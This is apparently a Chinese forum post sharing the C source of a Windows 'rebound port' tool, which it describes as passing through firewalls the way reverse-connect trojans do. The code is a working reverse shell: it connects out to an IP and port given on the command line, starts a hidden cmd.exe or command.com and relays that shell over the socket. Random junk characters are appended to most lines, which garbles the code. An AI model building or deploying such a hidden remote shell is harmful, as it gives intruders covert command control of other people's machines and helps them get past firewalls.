这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 FY_.Vp
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/* ============================== F: %-x=q
Rebound port in Windows NT yO*~)ALb+
By wind,2006/7 NRu_6~^^
===============================*/ i
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#include eKjmU | H
#include .j?`U[V%a
ws8@yr<R
#pragma comment(lib,"wsock32.lib") abiZ"?(
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void OutputShell(); ;6S,|rC]
SOCKET sClient; _5TSI'@.4
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V/|).YG2
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void main(int argc,char **argv) wK OljE6d
{ _:@~bHd
WSADATA stWsaData; yUV0{A-q{0
int nRet; zh`!x{Z?^
SOCKADDR_IN stSaiClient,stSaiServer; 8:=&=9%
p F kA,
if(argc != 3) +UbSqp1BS
{ eewhT^
printf("Useage:\n\rRebound DestIP DestPort\n"); biAI*t
return; AsFn%8_I
} _CqVH5U?
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WSAStartup(MAKEWORD(2,2),&stWsaData); I5]=\k($
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |vW(;j6
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stSaiClient.sin_family = AF_INET; xz2U?)m;x
stSaiClient.sin_port = htons(0); 9V&}%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); PdiP5S }/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =k.:XblEe[
{ EdGA#i3
printf("Bind Socket Failed!\n"); ,fWQSc\}
return; ;W%nBdE6|
} <0lXJqd
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stSaiServer.sin_family = AF_INET; F6>K FU8
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :5)Dn87
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vHR-mQUs
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l
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{ S&/</%
printf("Connect Error!"); 3#GZ6:rVJ
return; aD)$aK
} !ieMhJ5r
OutputShell(); o95)-Wb
} HI iMq'H^
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#{
void OutputShell() \s_lB~"P!3
{ rJLn=|uR
char szBuff[1024]; 3V=(P.A Tm
SECURITY_ATTRIBUTES stSecurityAttributes; aq~>$CHa
OSVERSIONINFO stOsversionInfo; t][U`1>i
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bVfFhfh*
STARTUPINFO stStartupInfo; e^v5ai
char *szShell; UN ;9h9
PROCESS_INFORMATION stProcessInformation; &O|!w&
unsigned long lBytesRead; -CV_yySc
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); R&oC9<
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); MZYh44
stSecurityAttributes.lpSecurityDescriptor = 0; D#%aow'(7
stSecurityAttributes.bInheritHandle = TRUE; JFAmND;+
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7D'-^#S5
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k+-IuO
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b1+6I_u.
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H~Z$ pk%
stStartupInfo.wShowWindow = SW_HIDE; qY,z,oAF
stStartupInfo.hStdInput = hReadPipe; b\6)whh
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; . <xzf4C
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GetVersionEx(&stOsversionInfo); 7
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switch(stOsversionInfo.dwPlatformId) (pBPf
{ jbQ N<`!
case 1: XKp$v']u
szShell = "command.com"; E`E$ }iLs
break; bBx.snBK
default: b:%z<vo
szShell = "cmd.exe"; fPXMp%T!
break; \.0cA4)[$
} m/{HZKh
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0[A4k:
{;:QY1QT
send(sClient,szMsg,77,0); 48}L!m @
while(1) C%c}lv8;^
{ P:~Xaz\F
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); XOOWrK7O
if(lBytesRead) NxOiT#YH
{ euxkw]`h6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hbZ]DRg
send(sClient,szBuff,lBytesRead,0); Qu 7#^%=
} )gX7qQ
else z@70{*
{ 4}i2j
lBytesRead=recv(sClient,szBuff,1024,0); SW94(4qo
if(lBytesRead<=0) break; LwPZR E#
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fj
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} _:RQ9x'
} gK&MdF*
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return; Z>897>
}